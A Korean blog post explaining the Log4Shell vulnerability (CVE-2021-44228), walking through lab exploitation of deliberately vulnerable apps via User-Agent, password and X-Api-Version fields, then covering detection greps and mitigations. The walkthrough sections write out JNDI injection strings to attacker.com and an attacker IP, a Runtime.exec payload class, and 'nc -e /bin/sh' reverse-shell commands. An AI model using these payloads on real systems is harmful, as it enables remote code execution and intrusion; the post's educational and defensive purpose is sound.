ν‹°μŠ€ν† λ¦¬ λ·°

κ°œμš”

12μ›” 10일경 μΉœκ΅¬λ“€κ³Ό μˆ μ§‘μ—μ„œ μ‘°μ΄ν•˜κ²Œ 술 ν•œμž” ν•˜κ³  μžˆμ„ λ•Œ λ‹€μ–‘ν•œ ν¬ν„Έμ‚¬μ΄νŠΈμ—μ„œ λ³΄μ•ˆμ‚¬κ³ κ°€ λ°œμƒν–ˆλ‹€λŠ” 기사λ₯Ό μ ‘ν•˜κ²Œ λ˜μ—ˆμŠ΅λ‹ˆλ‹€.
CVE-2021-44228(JNDI Injection) λ„˜λ²„λ₯Ό 뢀여받은 log4j 취약점은 Apache의 "Log For JAVA"이름을 가진 말 κ·ΈλŒ€λ‘œ JAVA 기반 λ‘œκΉ… ν”„λ ˆμž„μ›Œν¬λ‘œ κ°œλ°œμžλ“€μ΄ 디버그 μš©λ„λ‘œ 많이 μ‚¬μš©ν•˜κ³  μžˆλŠ” 만큼 곡격에 희생될 수 μžˆλŠ” λ²”μœ„κ°€ λ„ˆλ¬΄ λ„“μŠ΅λ‹ˆλ‹€.

 

κ΅­λ‚΄ μ „μžμ •λΆ€ν‘œμ€€ ν”„λ ˆμž„μ›Œν¬μ˜ 3.1 ~ 3.10 λ²„μ „μ—μ„œ log4j 2.0 ~ 2.12.1을 μ‚¬μš©ν•˜κ³  μžˆλŠ” 만큼 ν•΄μ™Έ/κ΅­λ‚΄λ₯Ό 가리지 μ•Šκ³  μ—¬λŸ¬ 개발자, λ³΄μ•ˆλ‹΄λ‹Ήμž, μ—”μ§€λ‹ˆμ–΄λΆ„λ“€μ΄ λ§Žμ€ 수고λ₯Ό 해주셨을 κ²ƒμœΌλ‘œ νŒλ‹¨λ©λ‹ˆλ‹€.
μ „μžμ •λΆ€ ν”„λ ˆμž„μ›Œν¬: https://www.egovframe.go.kr/home/sub.do?menuNo=13

 

이 취약점이 크게 거둠된 μ΄μœ λŠ” CVE-2021-44228 곡격이 성곡 μ‹œ 원격지에 μžˆλŠ” λŒ€μƒ μ‹œμŠ€ν…œμ—κ²Œ μž„μ˜μ½”λ“œλ₯Ό λ‹€μš΄/μ‹€ν–‰ν•  수 μžˆλŠ” RCE(Remote Code Execution)κ°€ μ™„μ„±λ˜κΈ° λ•Œλ¬Έμž…λ‹ˆλ‹€. 곡격 방식이 맀우 κ°„λ‹¨ν•œ 데에 λΉ„ν•΄ νŒŒκΈ‰νš¨κ³Όκ°€ ꡉμž₯히 컀 CVSS 만점인 10점을 λΆ€μ—¬λ°›μ•˜μŠ΅λ‹ˆλ‹€. JAVA 기반으둜 μš΄μ˜λ˜λŠ” λŒ€ν‘œμ μΈ μ„œλΉ„μŠ€λ“€κ³Ό μ·¨μ•½ν•œ Log4j버전은 μ•„λž˜μ™€ κ°™μŠ΅λ‹ˆλ‹€.

μœˆλ„μš°(Powershell)
# gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path
λ¦¬λˆ…μŠ€
# find / 2>/dev/null -regex ".*.jar" -type f | xargs -I{} grep JndiLookup.class "{}"

 

JNDI Lookup μ΄λž€

log4j의 μ›κ²©μ½”λ“œ 싀행이 μ–΄λ–»κ²Œ λ°œμƒν–ˆλŠ”μ§€ μ΄ν•΄ν•˜κΈ° μœ„ν•΄μ„  log4j 2.0-beta9에 λ„μž…λœ "JNDILookup"이 μ–΄λ–€ 역할을 ν•˜λŠ”μ§€ μ•Œμ•„μ•Ό ν•©λ‹ˆλ‹€.


JNDIλŠ” "Java Naming and Directory Interface"의 μ•½μžμž…λ‹ˆλ‹€. LDAP 같은 디렉토리 μ„œλΉ„μŠ€μ— μ €μž₯λ˜μ–΄μžˆλŠ” JAVA 객체λ₯Ό λ°œκ²¬ν•˜κ³  μ°Έκ³ (Lookup) ν•˜κΈ° μœ„ν•œ JAVA API둜 μ‰½κ²Œ 이야기해 λΆ„μ‚°λœ ν™˜κ²½ μ†μ—μ„œ μ„œλ‘œ 간에 ν•„μš”ν•œ μžμ›μ„ μ—°κ²°μ‹œμΌœ 쀄 수 μžˆλŠ” λͺ©μ μ„ 가지고 μžˆμŠ΅λ‹ˆλ‹€.

JNDI ꡬ쑰

JNDI의 ꡬ쑰λ₯Ό 보면 크게 API와 SPI 2개둜 λ‚˜λ‰˜λŠ”λ° μ΅μŠ€ν”Œλ‘œμž‡μ„ ν•˜λŠ”λ° 관심을 κ°€μ Έμ•Ό ν•  λΆ€λΆ„ 은 SPI(Service Provider Interface)μž…λ‹ˆλ‹€. μ΄λŠ” APIμ—μ„œ νŒŒμƒλœ λΆ€λΆ„μœΌλ‘œ J2EE ν”Œλž«νΌ 기반의 넀이밍과 디렉토리 μ„œλΉ„μŠ€λ₯Ό μ—°κ²°μ‹œμΌœ μ€λ‹ˆλ‹€. 즉 "LDAP, DNS, NIS, RMI" λ“±μ˜ ν”„λ‘œν† μ½œμ„ μ΄μš©ν•΄μ„œ JNDI μ½œμ„ ν˜ΈμΆœν•˜λŠ” 것이 κ°€λŠ₯ν•˜κΈ° λ•Œλ¬Έμ— κ³΅κ²©μžλŠ” 미리 μ€€λΉ„ν•΄λ‘” LDAP μ„œλ²„μ— Exploit ν•˜κΈ° μœ„ν•œ μ½”λ“œλ₯Ό μ€€λΉ„ν•΄λ‘”λ‹€λ©΄ μ΅œμ’…μ μœΌλ‘œ μ›κ²©μ§€μ˜ λŒ€μƒ μ„œλ²„μ—. class ν˜•μ‹μ˜ μ½”λ“œλ₯Ό μ‘λ‹΅μ‹œμΌœ μ›ν•˜λŠ” λͺ…λ Ήμ–΄λ₯Ό μ‹€ν–‰μ‹œν‚€λ„λ‘ ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

 

JNDI μ½œμ„ ν˜ΈμΆœν•œλ‹€λŠ” 것이 쑰금 μƒμ†Œν•˜λ‹€λ©΄ 같은 Naming μ„œλΉ„μŠ€ 쀑 ν•˜λ‚˜μΈ "DNS"λ₯Ό μƒκ°ν•΄λ³΄μ‹œλ©΄ λ©λ‹ˆλ‹€. Example.com을 μž…λ ₯ν•˜μ—¬ 접속 μ‹œ -> DNS μ„œλ²„λ₯Ό 톡해 λ„λ©”μΈμ˜ IPνšλ“ ν›„ 접속 -> 도메인 μ΄λ¦„μœΌλ‘œ μ ‘κ·Όν•˜λŠ” κ²ƒμ²˜λŸΌ λ³΄μ΄μ§€λ§Œ μ‹€μ§ˆμ μœΌλ‘œ IP둜 μ ‘κ·Όν•˜λŠ” κ²ƒμ²˜λŸΌ 도메인 <=> IP 간에 μ„œλ‘œ λ°”μΈλ”©ν•˜μ—¬ μ—°κ²°ν•΄μ£ΌλŠ” 것이라 보면 λ©λ‹ˆλ‹€.


*디렉토리 λ˜λŠ” 넀이밍 μ„œλΉ„μŠ€: λΆ„μ‚° ν™˜κ²½μ— μžˆλŠ” 닀쀑 μ‹œμŠ€ν…œ 및 μ„œλΉ„μŠ€μ— λŒ€ν•œ μžμ› 정보 μ €μž₯μ†Œμ΄λ©°, 넀이밍 μ„œλΉ„μŠ€λ₯Ό μ§€μ›ν•˜λŠ” μ„œλ²„μ— 이름(name)을 μ΄μš©ν•˜μ—¬ ν•΄λ‹Ή μžμ›μ— λŒ€ν•œ ν΄λΌμ΄μ–ΈνŠΈ 및 μ„œλ²„ μ•‘μ„ΈμŠ€λ₯Ό μ œκ³΅ν•¨

 

곡격 흐름

μ‚¬μš©μžκ°€ μ·¨μ•½ν•œ Log4j 라이브러리λ₯Ό μ‚¬μš© 쀑인 경우 μ•„λž˜μ™€ 같은 곡격 흐름을 톡해 침해사고λ₯Ό κ²½ν—˜ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

참고둜 JNDI Injection ν•˜κΈ° μœ„ν•œ μœ„μΉ˜κ°€ ν•œ 곳에 κ΅­ν•œλ˜μ§€ μ•ŠκΈ° λ•Œλ¬Έμ— κ³΅κ²©μžλŠ” HTTP μš”μ²­ 헀더(User-Agent λ“±)에 μ‚½μž…ν•˜κ±°λ‚˜ νŽ˜μ΄μ§€ λ‚΄λΆ€μ˜ Login ID, Password, E-mail 같은 POSTν•„λ“œλ₯Ό ν†΅ν•΄μ„œλ„ 곡격할 수 μžˆμŠ΅λ‹ˆλ‹€.

곡격 흐름도

1. κ³΅κ²©μžλŠ” λ³„λ„μ˜ μ•…μ„± LDAP μ„œλ²„λ₯Ό 쀀비해두고 ${jndi:ldap://attacker.com/a} ν˜•νƒœμ˜ ꡬ문을 log4jκ°€ κ΅¬μ„±λ˜μ–΄μžˆλŠ” λŒ€μƒ μ›Ή μ„œλΉ„μŠ€μ— Injection을 μ‹œλ„

ex) 1. User-Agent 정보λ₯Ό log.info둜 좜λ ₯
public void handle(HttpExchange he) throws IOException {
   String userAgent = he.getRequestHeader("user-agent");
   log.info("Request User Agent:{}", userAgent); }

2. Curl을 ν†΅ν•œ User-Agent에 JNDI Injection
# curl victim:8080 -H 'User-Agent: ${jndi:ldap://attacker.com/a}'

2. λŒ€μƒ μ›Ή μ„œλ²„λŠ” -> 곡격자 μ„œλ²„(attacker.com/a)둜 LDAP 쿼리 μš”μ²­(Query)
3. 곡격자 μ„œλ²„(Attacker LDAP)에 미리 μ€€λΉ„λœ Exploitμ½”λ“œκ°€ ν¬ν•¨λœ 응닡을 λŒ€μƒ μ„œλΉ„μŠ€μ— LDAP 쿼리 응닡(Response)

(Responseν˜•νƒœ)
javaCodeBase: 
http://attacker.com/a
javaClassName: RCE
objectClass: javaNamingReference

4. λŒ€μƒ μ„œλ²„μ—μ„œ 곡격자 μ„œλ²„λ‘œ HTTP GET μš”μ²­
5. 곡격자 μ„œλ²„μ— μžˆλŠ” RCE.classλ₯Ό λŒ€μƒ μ„œλ²„μ— μ‘λ‹΅ν•˜μ—¬ μ½”λ“œ μ‹€ν–‰

(Responseν˜•νƒœ)
class RCE {
static {
Runtime.getRuntime().exec("Custom command");
}}

 

Exploit (User-Agent)

log4j 취약점 ν…ŒμŠ€νŠΈλ₯Ό μœ„ν•΄ λͺ‡ 가지 곡격 벑터λ₯Ό μ•Œμ•„λ³΄λ„λ‘ ν•˜κ² μŠ΅λ‹ˆλ‹€.(JDK 8u181 μ„€μΉ˜λ˜μ–΄ 있음)

# git clone https://github.com/leonjza/log4jpwn.git
# cd logpjpwn
# mvn clean compile assembly:single (mvn 없을 μ‹œ apt-get install mvn)
# java -jar target/log4jpwn-1.0-SNAPSHOT-jar-with-dependencies.jar

μš°μ„  μ·¨μ•½ν•œ μ›Ή μ• ν”Œλ¦¬μΌ€μ΄μ…” κ°€λ™ν•΄μ€λ‹ˆλ‹€. ꡬ좕 방법은 μœ„μ˜ κΉƒν—ˆλΈŒ νŽ˜μ΄μ§€λ₯Ό μ°Έκ³ ν•˜μ‹œκΈ° λ°”λžλ‹ˆλ‹€.

 

localhost λ˜λŠ” μžμ‹ μ˜ docker IPλ₯Ό ν™•μΈν•˜μ—¬ μ ‘κ·Όν•΄λ³΄μ‹œλ©΄ User-Agentκ°€ κΈ°λ‘λ˜λŠ” νŽ˜μ΄μ§€κ°€ λ‚˜νƒ€λ‚©λ‹ˆλ‹€.

 

ν˜„μž¬ 가동 쀑인 μ„œλ²„μ—λŠ” 3κ°€μ§€μ˜ μ·¨μ•½ν•œ λ§€κ°œλ³€μˆ˜(User-Agent, pwn, URI path 경둜)κ°€ μ‘΄μž¬ν•©λ‹ˆλ‹€. 이 μ€‘μ—μ„œ User-Agent에 JNDI Lookup λ¬Έμžμ—΄μ„ μ „λ‹¬ν•˜μ—¬ μ›κ²©μ½”λ“œλ₯Ό νŠΈλ¦¬κ±°ν•˜λ„λ‘ μ§„ν–‰ν•΄λ³΄κ² μŠ΅λ‹ˆλ‹€.

 

μ·¨μ•½ν•œ μ„œλ²„λŠ” μ€€λΉ„λ˜μ—ˆμœΌλ‹ˆ 이제 곡격용 LDAP μ„œλ²„λ₯Ό μ€€λΉ„ν•΄μ•Ό λ©λ‹ˆλ‹€. μ•„λž˜μ˜ 링크λ₯Ό 타고 κ°€μ„œ. jarνŒŒμΌμ„ λ‹€μš΄λ‘œλ“œν•˜λ„λ‘ ν•˜κ² μŠ΅λ‹ˆλ‹€.

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

 

# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc {Attack_IP} 8888 -e /bin/sh" -A {Attack_IP}
# nc -lvp 8888

-C μ˜΅μ…˜μ„ 톡해 ν¬μƒμž μ„œλ²„μ—μ„œ μ‹€ν–‰ν•  λͺ…λ Ήμ–΄λ₯Ό μž…λ ₯ν•˜κ³  -A μ—λŠ” 곡격자의 iP μ£Όμ†Œλ₯Ό λ„£μ–΄μ£Όμ‹œλ©΄ λ©λ‹ˆλ‹€.

JNDI Links에 λ‹΄κΈ΄ ldapμ£Όμ†Œλ₯Ό ν¬μƒμž μ„œλ²„μ— 전달될 경우 곡격자 μ„œλ²„μ— ldap 쿼리λ₯Ό μš”μ²­ν•˜κ²Œ λ˜μ–΄ Exploit Codeκ°€ λ‹΄κΈ΄ 응닡을 νšŒμ‹ ν•˜κ²Œ λ©λ‹ˆλ‹€.

 

# curl -H 'User-Agent: ${jndi:ldap://192.168.0.129:1389/li62qf}' 172.17.0.1:8080

JNDI injection을 ν•˜κΈ° μœ„ν•΄ λŒ€μƒ μ„œλ²„μ˜ User-Agent에 곡격 쿼리λ₯Ό μ‚½μž…ν•΄μ€λ‹ˆλ‹€. μ΄λ•Œ -H μ˜΅μ…˜μ„ μ‚¬μš©ν•΄μ£Όμ‹œλ©΄ λ©λ‹ˆλ‹€.

 

Server Logλ₯Ό λ³΄μ‹œλ©΄ ν¬μƒμž μ„œλ²„μ—μ„œ 곡격자의 LDAP μ£Όμ†ŒμΈ 192.168.0.129:1389/li62qf둜 μš”μ²­ 쿼리λ₯Ό μ „λ‹¬ν•˜κ²Œ 되고 응닡 κ°’μœΌλ‘œ μ€€λΉ„λœ Exploitμ½”λ“œλ₯Ό 보내어 μ›κ²©μ½”λ“œ 싀행이 κ°€λŠ₯ν•΄μ§‘λ‹ˆλ‹€.

 

Exploit (Password Form)

https://github.com/Cyb3rWard0g/log4jshell-lab/tree/main/victim-server

μ΄λ²ˆμ—λŠ” 헀더 λŒ€μƒμ˜ μΈμ μ…˜μ΄ μ•„λ‹Œ ν‘œλ©΄μƒ μ‰½κ²Œ μ ‘κ·Όν•  수 μžˆλŠ” 둜그인 νŽ˜μ΄μ§€λ₯Ό λŒ€μƒμœΌλ‘œ ν•΄λ³΄κ² μŠ΅λ‹ˆλ‹€. μš°μ„  μžμ‹ μ˜ μ„œλ²„μ— 톰캣을 μ„€μΉ˜ ν›„ μ·¨μ•½ν•œ μ›Ή μ†ŒμŠ€λ₯Ό μ»΄νŒŒμΌν•΄μ£Όλ©΄ μœ„μ™€ 같은 둜그인 νŽ˜μ΄μ§€λ‘œ μ ‘κ·Όν•  수 있게 λ©λ‹ˆλ‹€.

 

라이브러리 μͺ½μ„ 확인해보면 μ·¨μ•½ν•œ 버전인 Log4j 2.14.0 을 톡해 μ‚¬μš©μžμ˜ μž…λ ₯ 값을 μ²˜λ¦¬ν•˜λŠ”κ²ƒμœΌλ‘œ ν™•μΈλ©λ‹ˆλ‹€.

 

μ†ŒμŠ€μ½”λ“œλ₯Ό ν™•μΈν•΄λ³΄λ‹ˆ 둜그인 νŽ˜μ΄μ§€μ˜ νŒ¨μŠ€μ›Œλ“œ ν•„λ“œκ°€ Log4j ν˜•μ‹μ— νŒŒμ‹± μ²˜λ¦¬κ°€ 되고 있기 λ•Œλ¬Έμ— νŒ¨μŠ€μ›Œλ“œ μž…λ ₯λž€μ— JNDI Lookup λ¬Έμžμ—΄μ„ μ „λ‹¬ν•˜μ—¬ 곡격자의 μ•…μ„± LDAP μ£Όμ†Œλ₯Ό μ°Έμ‘°ν•  수 μžˆλ„λ‘ ν•΄μ£Όλ©΄ 될 것 κ°™μŠ΅λ‹ˆλ‹€.

 

# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc {Attack_IP} 8888 -e /bin/sh" -A {Attack_IP}
# nc -lvp 8888

μœ„μ—μ„œ ν–ˆλ˜ 방식과 λ§ˆμ°¬κ°€μ§€λ‘œ LDAP μ„œλ²„λ₯Ό κ°€λ™ν•˜μ—¬ ν¬μƒμž μ„œλ²„ -> 곡격자 μ„œλ²„λ‘œ 연결을 ν—ˆμš©ν•˜λŠ” λ¦¬λ²„μŠ€ μ‰˜μ„ 맺도둝 ν•˜κ² μŠ΅λ‹ˆλ‹€.

 

κ³΅κ²©μ½”λ“œκ°€ μ œλŒ€λ‘œ μž…λ ₯λ˜μ—ˆλŠ”μ§€ ν™•μΈν•˜κΈ° μœ„ν•΄ type 속성을 text둜 λ³€κ²½ν•΄μ£Όκ³  Sign in을 λˆŒλŸ¬μ€λ‹ˆλ‹€.

 

둜그λ₯Ό 확인해보면 κ³΅κ²©μžκ°€ μ‚½μž…ν•œ JNDI λ¬Έμžμ—΄μ΄ μ œλŒ€λ‘œ μ „λ‹¬λ˜μ—ˆμœΌλ©° Lookup이 된 것을 확인할 수 μžˆμŠ΅λ‹ˆλ‹€.

 

λ¦¬λ²„μŠ€ μ‰˜μ΄ μ„±κ³΅μ μœΌλ‘œ μ—΄λ¦΄κ²Œ λ©λ‹ˆλ‹€.

 

Exploit (X-Api-Version)

https://github.com/christophetd/log4shell-vulnerable-app

# docker build . -t vulnerable-app (Docker 없을 μ‹œ μ„€μΉ˜)
# docker run -p 8080:8080 --name vulnerable-app vulnerable-app

log4shell에 λ…ΈμΆœλ  수 μžˆλŠ” 곡격 λ°±ν„°λŠ” κ·Έ μ–΄λŠ 곳이 될 μˆ˜λ„ μžˆλ‹€κ³  μ–˜κΈ°ν–ˆμŠ΅λ‹ˆλ‹€. μœ„μ˜ μ†ŒμŠ€μ˜ 경우 μš”μ²­ 헀더에 ν¬ν•¨λ˜μ–΄ μžˆλŠ” X-Api-Version 이 μ·¨μ•½ν•œ log4j λ²„μ „μ—μ„œ νŒŒμ‹± 되고 μžˆμŠ΅λ‹ˆλ‹€.

 

μš”μ²­ 값에 X-Api-Version 헀더λ₯Ό μΆ”κ°€ν•˜μ—¬ μ€€λΉ„ν•΄λ‘” JNDI Lookup λ¬Έμžμ—΄μ„ 보내보면 Hello, world! λ₯Ό λ°˜ν™˜ν•˜μ—¬ μ²˜λ¦¬ν•˜κ²Œ λ©λ‹ˆλ‹€.

 

ν¬μƒμž μ„œλ²„μ—μ„œ Lookup ν•œ μ£Όμ†ŒλŠ” 곡격자의 LDAP μ£Όμ†Œλ‘œ μ€€λΉ„λœ Exploit Code둜 인해 λ¦¬λ²„μŠ€ μ‰˜μ„ μ—°κ²°ν•  수 μžˆλŠ” nc λͺ…λ Ήμ–΄λ₯Ό μ›κ²©μ—μ„œ μ‹€ν–‰μ‹œν‚€κ²Œ λ˜μ–΄ μƒν˜Έ 간에 μ„Έμ…˜μ„ μ—°κ²°ν•˜κ²Œ λ©λ‹ˆλ‹€.

 

μ·¨μ•½ 유무 ν…ŒμŠ€νŠΈ

μžμ‹ μ΄ κ΄€λ¦¬ν•˜λŠ” μ„œλ²„κ°€ Log4shell에 μ·¨μ•½ν•œ 버전을 μ‚¬μš©ν•˜κ³  μžˆμ„ 경우 μ‹€μ œ μ•…μš©μ΄ κ°€λŠ₯ν•œμ§€ ν…ŒμŠ€νŠΈλ₯Ό 해봐야 될 μˆ˜λ„ μžˆμŠ΅λ‹ˆλ‹€. 그럴 λ•ŒλŠ” μ•„λž˜μ˜ 링크λ₯Ό 톡해 μž„μ˜μ½”λ“œκ°€ 트리거 될 수 μžˆλŠ”μ§€ μ—¬λΆ€λ₯Ό κ°„λ‹¨ν•˜κ²Œ νŒŒμ•…ν•΄μ£ΌλŠ” μ‚¬μ΄νŠΈλ₯Ό μ΄μš©ν•΄λ³΄μ‹œλ©΄ 도움이 λ©λ‹ˆλ‹€.(BurpSuite Pro의 Collaborator μ‚¬μš©ν•˜μ…”λ„ λ©λ‹ˆλ‹€.)

https://canarytokens.org/

 

Know. Before it matters

Canarytokens is a free tool that helps you discover you’ve been breached by having attackers announce themselves. The tokens allow you to implant traps around your network and notifies you as soon as they are triggered.

canarytokens.org

링크λ₯Ό 접속해보면 ν…ŒμŠ€νŠΈλ₯Ό ν•˜κΈ° μœ„ν•œ μ’…λ₯˜(Select your token)와 이메일 그리고 μ‹λ³„ν•˜κΈ° μœ„ν•œ κ°„λ‹¨ν•œ μ½”λ©˜νŠΈ 등을 μž‘μ„±ν•  수 μžˆλŠ” νŽ˜μ΄μ§€κ°€ μ‘΄μž¬ν•©λ‹ˆλ‹€.

 

맨 ν•˜λ‹¨μ˜ μ’…λ₯˜λ‘œ 내렀보면 Log4Shell ν•­λͺ©μ΄ μ‘΄μž¬ν•©λ‹ˆλ‹€. 선택해주신 ν›„ μžμ‹ μ˜ 이메일과 κ°„λ‹¨ν•œ μ½”λ©˜νŠΈλ₯Ό μž‘μ„±ν•΄μ€λ‹ˆλ‹€.

 

μ½”λ“œκ°€ μƒμ„±λ˜λ©΄ μœ„μ™€ 같은 token이 μƒμ„±λ˜μ—ˆλ‹€λŠ” 문ꡬ가 λ‚˜νƒ€λ‚©λ‹ˆλ‹€. 볡사λ₯Ό ν•΄μ£Όμ‹œλ©΄ λ©λ‹ˆλ‹€.

 

μœ„μ—μ„œ ν…ŒμŠ€νŠΈν–ˆλ˜ μ·¨μ•½ν•œ μ›Ή μ„œλ²„λ‘œ λ„˜μ–΄μ™€ μƒμ„±λœ token을 μ‚½μž…ν•˜μ—¬ κΈ°λ‹€λ € μ£Όμ‹œλ©΄ λμž…λ‹ˆλ‹€.

 

μ•½ λͺ‡ 초 정도 κΈ°λ‹€λ €λ³΄μ‹œλ©΄ token 생성 μ‹œ μž‘μ„±ν–ˆλ˜ 이메일 μ£Όμ†Œλ‘œ μ½”λ“œκ°€ 트리거 될 수 μžˆλŠ” 유무λ₯Ό μ‘λ‹΅ν•˜κ²Œ λ©λ‹ˆλ‹€. λ§Œμ•½ 취약점이 μ‘΄μž¬ν•˜μ§€ μ•Šμ•˜λ‹€λ©΄ 이메일이 λ„μ°©ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.

 

곡격 징후 νŒŒμ•…ν•˜λŠ” 법

log4j μ„œλΉ„μŠ€λ₯Ό μ˜ˆμ „λΆ€ν„° μ‚¬μš©ν•˜μ…¨λ‹€λ©΄ 그만큼 였랜 μ‹œκ°„ λ™μ•ˆ 취약점에 λ…ΈμΆœλ˜μ–΄ μžˆμ—ˆμ„ κ°€λŠ₯성이 λ†’μŠ΅λ‹ˆλ‹€. 1차적으둜 λΉ λ₯΄κ²Œ μ‘°μΉ˜ν•˜μ‹œλŠ” 것도 μ€‘μš”ν•˜μ§€λ§Œ λ‘œκ·ΈλΆ„μ„μ„ 톡해 μ‚¬ν›„μ‘°μΉ˜λ₯Ό ν•  수 μžˆλ„λ‘ ν•΄μ£Όμ‹œλŠ” 것도 μ€‘μš”ν•©λ‹ˆλ‹€.

μ••μΆ•λ˜μ–΄ μžˆμ§€ μ•Šμ€ 경우
# sudo egrep -I -i -r ‘\$(\{|%7B)jndi:(ldap[s]?|rmi|dns):/[^\n]+’ /var/log
μ••μΆ•λ˜μ–΄ μžˆλŠ” 경우
# sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns):/[^\n]+'
μ••μΆ•λ˜μ–΄ μžˆμ§€ μ•Šμ€ 경우(λ‚œλ…ν™”)
# sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -I -i 'jndi:(ldap[s]?|rmi|dns):'" \;
μ••μΆ•λ˜μ–΄ μžˆλŠ” 경우(λ‚œλ…ν™”)
# sudo find /var/log/ -name "*.log.gz" -type f -exec sh -c "zcat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;

 

λŒ€μ‘ 방법

ν•˜νŠΈ λΈŒλ¦¬λ“œ, μ‰˜ μ‡Όν¬μ²˜λŸΌ 였랜 μ‹œκ°„ 기둝될 취약점(개인적으둜 JNDI Injectionλ§ŒνΌμ€ μ•„λ‹ˆμ—ˆμŒ)듀은 즉각 μ΅œμ‹  λ²„μ „μœΌλ‘œ μ—…κ·Έλ ˆμ΄λ“œν•˜λŠ” 것이 μ€‘μš”ν•©λ‹ˆλ‹€.
이미 μœ μ‚¬μ—…κ³„μ— κ³„μ‹œλŠ” 뢄듀은 곡문을 λ°›μ•˜κΈ° λ•Œλ¬Έμ— log4j 2.15 λ²„μ „μœΌλ‘œ μ—…κ·Έλ ˆμ΄λ“œν–ˆκ±°λ‚˜ 아직 진행 쀑에 μžˆμœΌμ‹œκ² μ§€λ§Œ. CVE-2021-44228이 λ°œν‘œλœ 직후 μƒˆλ‘œμš΄ 취약점(CVE-2021-45046[DOS], CVE-2021-4104[1.2 RCE])이 쀄쀄이 λ‚˜μ˜€κ³  있기 λ•Œλ¬Έμ— 가급적 μ‘°μΉ˜ν•˜μ‹œλŠ”λ‹ΉμΌ 기쀀에 λ§žλŠ” 제일 μ΅œμ‹  λ²„μ „μœΌλ‘œ μ˜¬λ €μ£Όμ‹œλ©΄ λ©λ‹ˆλ‹€.

(2021-12-16 κΈ°μ€€ log4j 2.16μ—μ„œλŠ” JNDI에 λŒ€ν•œ μ•‘μ„ΈμŠ€λ₯Ό λΉ„ν™œμ„±ν™”ν•˜κ³  λ©”μ‹œμ§€ 쑰회 κΈ°λŠ₯이 μ™„μ „νžˆ μ œκ±°λ˜μ—ˆμ§€λ§Œ, κ°€μš©μ„±μ„ μΉ¨ν•΄ν•  수 μžˆλŠ” DDOS 취약점이 μΆ”κ°€ λ°œκ²¬λ˜μ–΄ 2.17 λ²„μ „μœΌλ‘œ μ—…κ·Έλ ˆμ΄λ“œ ꢌ고)

λ§Œμ•½ μ—…κ·Έλ ˆμ΄λ“œκ°€ λΆˆκ°€λŠ₯ν•˜λ‹€λ©΄ μ•„λž˜μ™€ κ°™μ€ λ°©λ²•μ„ ν†΅ν•΄ μ§„ν–‰ν•©λ‹ˆλ‹€.
- Log4j 1.2(CVE-2021-4104): λ³„λ„μ˜ JNDIλ₯Ό μ‚¬μš©ν•  λ•Œλ§Œ μ·¨μ•½ν•˜λ©° JMSAppenderκ°€ ν™œμ„±ν™”λ˜μ–΄ μžˆμ„ κ²½μš° λΉ„ν™œμ„±ν™”
(1) zip -d log4j-1.2.16.jar org/apache/log4j/net/JMSAppender.class
(2) zip -d log4j-1.2.16.jar org/apache/log4j/net/SocketServer.class

- Log4j 2.x:(Java 8 이상은 2.17 / Java 7 이상은 2.12.2둜 μ—…κ·Έλ ˆμ΄λ“œ)
(1) JndiLookup 을 λΉ„ν™œμ„±ν™”(NoLookupsλ₯Ό True둜 μ„€μ •)
echo “export LOG4J_FORMAT_MSG_NO_LOOKUPS=true” >> /etc/profile.d/blockzero.sh
/etc/environment μ— LOG4J_FORMAT_MSG_NO_LOOKUPS=true μΆ”κ°€ν•˜μ—¬ μ‹œμŠ€ν…œ μ „체에 μ μš©

log4j-core-*.jar νŒŒμΌμ—μ„œ JNDI Lookup 클래슀λ₯Ό 제거

(1) zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

 

<Ref>
https://blog.qualys.com/vulnerabilities-threat-research/2021/12/15/is-your-web-application-exploitable-by-log4shell-cve-2021-44228-vulnerability
https://opentutorials.org/module/3569/21223
https://extsdd.tistory.com/326
https://medium.com/s2wlab/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-kr-fb50a6458a08
https://acet.pe.kr/214

κ³΅μœ ν•˜κΈ° 링크
Comment